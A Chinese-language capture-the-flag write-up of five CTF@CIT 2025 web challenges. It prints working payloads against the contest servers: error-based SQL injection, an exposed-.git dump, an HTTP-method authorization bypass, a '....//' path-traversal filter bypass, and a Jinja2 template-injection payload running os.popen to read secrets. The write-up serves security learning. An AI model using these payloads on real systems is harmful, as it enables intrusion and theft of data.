# CTF@CIT 2025 <h1><a href="https://hackmd.io/@gkEJMBo7Q96AKBisws_2bg/CTF_CIT_2025_Eng" target="_blank">English Version</a></h1> ## 一切的開始 同事覺得這個週末太無聊,看了一下[CTFtime](https://ctftime.org/)剛好有一場[CTF@CIT](https://ctftime.org/ctf/1109/),權重24.57也不會太高,剛好適合我們這種想被CTF玩(~~虐~~)一下的社畜... :fearful: 因為我們對Web比較有研究,所以只會講解Web的題目。 ## 開打 ### Web 1 - Breaking Authentication > 難度:簡單 - 題目一開始就一個登入頁面,第一感就是嘗試SQL injection,打一個單引號,就可以發現是error-based的sql injection。 ![image](https://hackmd.io/_uploads/rk7wzhoyxg.png) ![image](https://hackmd.io/_uploads/rJgFQho1eg.png) - 嘗試構造error讓伺服器把我們要查詢的內容吐在error log裡,可以利用updatexml格式錯誤,讓table_name顯示在錯誤訊息裡。 ```script admin'+and+(select+updatexml(1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+',')+FROM+information_schema.tables+WHERE+table_schema+!='mysql'+AND+table_schema+!=+'information_schema'),1))+--+ ``` ![image](https://hackmd.io/_uploads/ryMyQ3iJlx.png) - 自己手動查太慢了,我懶惰了直接請出sql injection大神─sqlmap的sql-shell代勞。紅框框就是flag,藍框框可以留意一下,後面的題目會用到。 ![image](https://hackmd.io/_uploads/rk6Qf2oJxe.png) ### Web 2 - Commit & Order: Version Control Unit > 難度:簡單 - 題目名稱的提示給的蠻明顯的,直接目錄爆破就找到 `.git` ```script [04:18:26] 301 - 320B - /.git -> http://23.179.17.40:58002/.git/ [04:18:26] 403 - 280B - /.git/branches/ [04:18:26] 200 - 27B - /.git/COMMIT_EDITMSG [04:18:26] 403 - 280B - /.git/ [04:18:26] 200 - 155B - /.git/config [04:18:26] 200 - 23B - /.git/HEAD [04:18:26] 403 - 280B - /.git/hooks/ [04:18:26] 403 - 280B - /.git/info/ [04:18:26] 200 - 73B - /.git/description [04:18:26] 200 - 240B - /.git/info/exclude [04:18:26] 403 - 280B - /.git/logs/ [04:18:26] 200 - 1016B - /.git/logs/HEAD ``` - 上工具 [git-dumper](https://github.com/arthaud/git-dumper) !!! ```bash > python git_dumper.py http://23.179.17.40:58002/ web-2 > cd web-2 > git log | grep commit commit 7c8c6a8e434cb23aa9c9dac0ce715e928016849a commit 9b8bf13600c17ba7cbbc9ac7dcffaebd36b16b36 commit 68f8fcdbebcca3c8fda1e91fcb842992d09a41d4 commit 247b12483ba3a6a8d177fdd9d74416a01eb61512 commit ca9517713391aca6f5073758effa47c33d3be6b4 commit 0e775315a623ed96d9b0b53e6ffb69dd06b93902 ``` - 在 `9b8bf13600c17ba7cbbc9ac7dcffaebd36b16b36` 的commit找到Flag,不過是Base64編碼過,稍稍找一下 ``` > git show 9b8bf13600c17ba7cbbc9ac7dcffaebd36b16b36 - <div class="main-content"> - <div class="warning-banner"> - <svg width="24" height="24" fill="currentColor" viewBox="0 0 24 24"> - <path d="M1 21h22L12 2 1 21zm12-3h-2v2h2v-2zm0-8h-2v6h2v-6z" /> - </svg> - This admin panel is under construction. No actual functionality is available yet. But here, have this: Q0lUezVkODFmNzc0M2Y0YmMyYWJ9 - </div> ``` - 直接用 `base64 -d` 或丟到 [CyberChef](https://gchq.github.io/CyberChef/)都是不錯的方式,成功拿到`CIT{5d81f7743f4bc2ab} `!!! ``` > echo "Q0lUezVkODFmNzc0M2Y0YmMyYWJ9" | base64 -d CIT{5d81f7743f4bc2ab} ``` ### Web 3 - Keeping Up with the Credentials > 難度:簡單?中等? - 題目又是從一個登入頁開始,題目說明有說登入資訊在前面的題目中,就是第一題藍色框框的admin的帳號密碼 ![image](https://hackmd.io/_uploads/ryUCB2oJll.png) - 輸入帳號密碼後,會跳轉到debug.php ![image](https://hackmd.io/_uploads/SkmwD3j1gl.png) - 而debug.php什麼東西都沒有,目錄爆破發現還有一個頁面叫 `admin.php`,但是直接query `admin.php` 都會直接跳轉回一開始的登入頁面,想說是不是要內網才看的到,但不管把封包的HOST或是Referer改成`127.0.0.1`,或是加入X-Forwarded-for都沒有用,相信很多人到這邊就卡住了。 ![image](https://hackmd.io/_uploads/S1ioD2iyex.png) - 然後神奇的一步來了,大家是不是忘記除了GET,還有一個方法叫做POST,將登入封包的request method改成 `POST` ,BINGO!!!!成功跳到 `admin.php`。 ![image](https://hackmd.io/_uploads/BJkzFnokxe.png) ![image](https://hackmd.io/_uploads/BJ-Lthjkge.png) - 手法難嗎??一點都不會,有手就行,Burp suite可以讓你動動滑鼠就幫你從 `GET` 轉成 `POST` - 但簡單嗎? 比較看看他跟其他題的答對人數~~ 有時候大家都會忽略了最簡單的路,開始鑽牛角尖,但題目其實沒這麼難。 ![image](https://hackmd.io/_uploads/SJrJohi1lx.png) ### Web 4 - How I Parsed your JSON > 難度:中等 - 題目讓你可以使用類似SQL語法的方式查詢json檔,輸入*可以吐出整個檔案的內容,題目有提示FLAG在`secrets.txt`,很明顯題目是要我們用任意讀檔的方式去讀到`secrets.txt`。 ![image](https://hackmd.io/_uploads/ByC5oho1gl.png) 將container改成 `/etc/passwd`,果然可以成功讀檔,但題目會將../以及附檔名都replace成空字串,所以沒辦法使用 `../secrets.txt` 讀到flag ![image](https://hackmd.io/_uploads/HkPchhoyxx.png) - 繞過方法很簡單,由於 `../` 會被刪掉,使用 `....//` 就可以繞過這個保護(應該不用解釋吧),副檔名會被刪掉,使用兩個附檔名就可以繞過,最後的payload是 `container=....//secrets.txt.json` ![image](https://hackmd.io/_uploads/rJM2Cns1xg.png) ### Web 5 - Mr. Chatbot > 難度:中等 - 一開始只有一個輸入username的網頁,隨便輸入都可以登入 ![image](https://hackmd.io/_uploads/rJc-3wikxe.png) - 登入後,會有一個跟機器人的對話框,但看一下網頁源始碼可以發現對話框實際上是用 `javascript` 進行互動,所以判斷這個對話框不是重點,本來還以為有機會是 SSTI(Server Side Template Injection) 的問題。 ![image](https://hackmd.io/_uploads/HyZY3Piylx.png) - 回到登入口檢查封包,每次都會Set-Cookie,看到 `ey` 開頭就下意識會拿去 Base64解碼看一下 ![image](https://hackmd.io/_uploads/SJcmCvi1gg.png) ``` > echo -n "eyJhZG1pbiI6IjAiLCJuYW1lIjoidGVzdCJ9.aA3tbQ.l4y9ffBh-RKddWkqm0E-44dWI6k" | base64 -d {"admin":"0","name":"test"}base64: invalid input ``` - 喔!! 看到 `"admin":"0"`,就會想在登入時,`name=test` 後面嘗試加上 `&admin=1`,果然得到明顯不一樣格式的session。 ![image](https://hackmd.io/_uploads/r1WFyOsyle.png) - 可惜不是Base64編碼的格式,從網站的response發現網站是使用python撰寫的,稍微Google就可以發現可以使用[Flask-Unsign](https://github.com/Paradoxis/Flask-Unsign)工具對這串Session進行解碼,但進到 `/home` 頁面一樣沒什麼不一樣..., ``` > flask-unsign --decode --cookie ".eJw9jLEOgjAURf-lswsGYnS1toA2DJJK2ZA2ULEsQtAa_93bQbd3cs87b9JoZ0eyIxFZkbFxBudkHhNothqgufSaZy7zIimiZ1xc6tbQbl2l_SAYmLLAcZlG9yrtEnXetobLHnsfduVl83NFKbEdPNjWAzzK7BFNwfPQeJ3g1JTp69_NFrgOvzPaS7FXN-GHDfl8ATHePFw.aA3u3w.7gq-cGaAKbE8P4b3YhsA088iKLo" {'admin': '1', 'name': 'test', 'uid': 'dGVzdGImIzM5O1x4OWZceDg2XHhkMFx4ODFceDg4TH1lXHg5YS9ceGVhXHhhMFx4YzVaXHhkMFx4MTVceGEzXHhiZk9ceDFiK1x4MGJceDgyLFx4ZDFdbFx4MTVceGIwXHhmMFxuXHgwOCYjMzk7'} ``` - 於是開始研究後面那串Base64編碼的字串,發現結果最前面的 `test` 不是我輸入的 `username` 嗎? ``` > echo -n "dGVzdGImIzM5O1x4OWZceDg2XHhkMFx4ODFceDg4TH1lXHg5YS9ceGVhXHhhMFx4YzVaXHhkMFx4MTVceGEzXHhiZk9ceDFiK1x4MGJceDgyLFx4ZDFdbFx4MTVceGIwXHhmMFxuXHgwOCYjMzk7" | base64 -d testb&#39;\x9f\x86\xd0\x81\x88L}e\x9a/\xea\xa0\xc5Z\xd0\x15\xa3\xbfO\x1b+\x0b\x82,\xd1]l\x15\xb0\xf0\n\x08&#39; ``` - 趕緊嘗試前面失敗的SSTI,使用Payload `name={{6*6}}&admin=1` 確定SSTI問題是否存在。 ``` > flask-unsign --decode --cookie ".eJwljU0PgiAcxr8Lx9ZFQ7fauiGaG7A1UeOmyJQKL9UkW9-9P-v2_J49Lx_UDc7O6IAitEVz5wzIdJMCvOwAmq3KlpatonpqQ-hV1h6zvNQml7GMPFaEg3-L22Kyal6WthgTfvdYkClk1sCCQqc56z74DeXgeSVPu9DhsCcq2CNjEvhS-3cNeeXkXmXhJ1v-_48j-v4A-F45Dg.aA3y4Q.N5woy7pLCqyU-ZdTAGcZX2t_QGs" {'admin': '1', 'name': '6*6', 'uid': 'MzZiJiMzOTtceDFjUVx4MGJceGU2U1x4ZDNceDk2XHhiZnwwXHg5Nlx4ODhceGUzXHg5OFx4MWRcblx4OWFNXHgxZUI3XHhiNVx4OTJceDg5XHhiYVxyVFx4ZmU9ZEJceGEwJiMzOTs='} ``` - BINGO!!! 果然得到預期計算的結果 `36` 。 ``` > echo -n "MzZiJiMzOTtceDFjUVx4MGJceGU2U1x4ZDNceDk2XHhiZnwwXHg5Nlx4ODhceGUzXHg5OFx4MWRcblx4OWFNXHgxZUI3XHhiNVx4OTJceDg5XHhiYVxyVFx4ZmU9ZEJceGEwJiMzOTs=" | base64 -d 36b&#39;\x1cQ\x0b\xe6S\xd3\x96\xbf|0\x96\x88\xe3\x98\x1d\n\x9aM\x1eB7\xb5\x92\x89\xba\rT\xfe=dB\xa0&#39; ``` - 直接上Payload,我是參考這篇[文章](https://medium.com/@baraiprince0111/unveiling-the-secrets-of-server-side-template-injection-ssti-in-flask-and-jinja2-25c57ab3199f)的Payload。送出 `name={{config.__class__.__init__.__globals__['os'].popen('cat+secrets.txt').read()}}&admin=1` ,就會得到下面的結果。 ``` > flask-unsign --decode --cookie ".eJwtjl1rgzAUhv_K8MYWhqjoOga72ZwWIUqtrR9jSBYzE2ui1AwkY_99x7K793k_DufHwK3g0ngyHOPekFhQkGSUX7yzmoYMeJ6bBhSXXN1EN4yfeADz3Rxn88OaxonKjUmwupspuVI1W2pR5ta6UtxutnD0m7dwsyoyhQvvIS0qfTwh3RajX8oJv3ZTcDxnO5Qzlrg1r4uMJ1Glk_zg1dLhMUc6zRWhQcjKPRN1uHi1CIHZBZghYJQnhEbIv-ng5fFUxpAPAvJLAl6lGeQJX_fpyu4Z8s6ORahIoHrwezSsPdhFb3a573wkp7Xjrht0rHqkD7tYLHbq-NAJ__-an43fPwoGbTk.aA30WA.Tuwzi4gNG7mFdKLK98NH0EcLwxI" {'admin': '1', 'name': "config.__class__.__init__.__globals__['os'].popen('cat secrets.txt').read()", 'uid': 'YWRtaW46OWYzSUMzdWo5XnpaCgpDSVR7MThhN2ZiZWRiNGYzNTQ4Zn1iJiMzOTtceDFhXHhmZFx4ZmFceDhkXHhhMFx4MTNceGM5MFx4MDB8UXJceDlmXHhkNFx4YzhceGNiXHhmOFx4Y2VceDg0JmFtcDtjXHhjMlx4YzJceGE0XHg5MnpceDg2XHhmMSYjMzQ7Jmx0O15ceGFiJiMzOTs='} ``` - 解碼Base64部分,成功拿到`CIT{18a7fbedb4f3548f}`!!! ``` echo -n "YWRtaW46OWYzSUMzdWo5XnpaCgpDSVR7MThhN2ZiZWRiNGYzNTQ4Zn1iJiMzOTtceDFhXHhmZFx4ZmFceDhkXHhhMFx4MTNceGM5MFx4MDB8UXJceDlmXHhkNFx4YzhceGNiXHhmOFx4Y2VceDg0JmFtcDtjXHhjMlx4YzJceGE0XHg5MnpceDg2XHhmMSYjMzQ7Jmx0O15ceGFiJiMzOTs=" | base64 -d admin:9f3IC3uj9^zZ CIT{18a7fbedb4f3548f}b&#39;\x1a\xfd\xfa\x8d\xa0\x13\xc90\x00|Qr\x9f\xd4\xc8\xcb\xf8\xce\x84&amp;c\xc2\xc2\xa4\x92z\x86\xf1&#34;&lt;^\xab&#39; ``` ## 結語 這次參加的CIT@CTF,WEB的題目比較沒有那種很刁鑽的技術,也不像O公司的某WA證照需要有通靈體質,是個老少咸宜的活動,版上大大如果有其他推薦的CTF競賽,歡迎推坑 :laughing: :laughing: :laughing: 最後,不免俗附上人權圖 ![image](https://hackmd.io/_uploads/Skm7HmsJlg.png)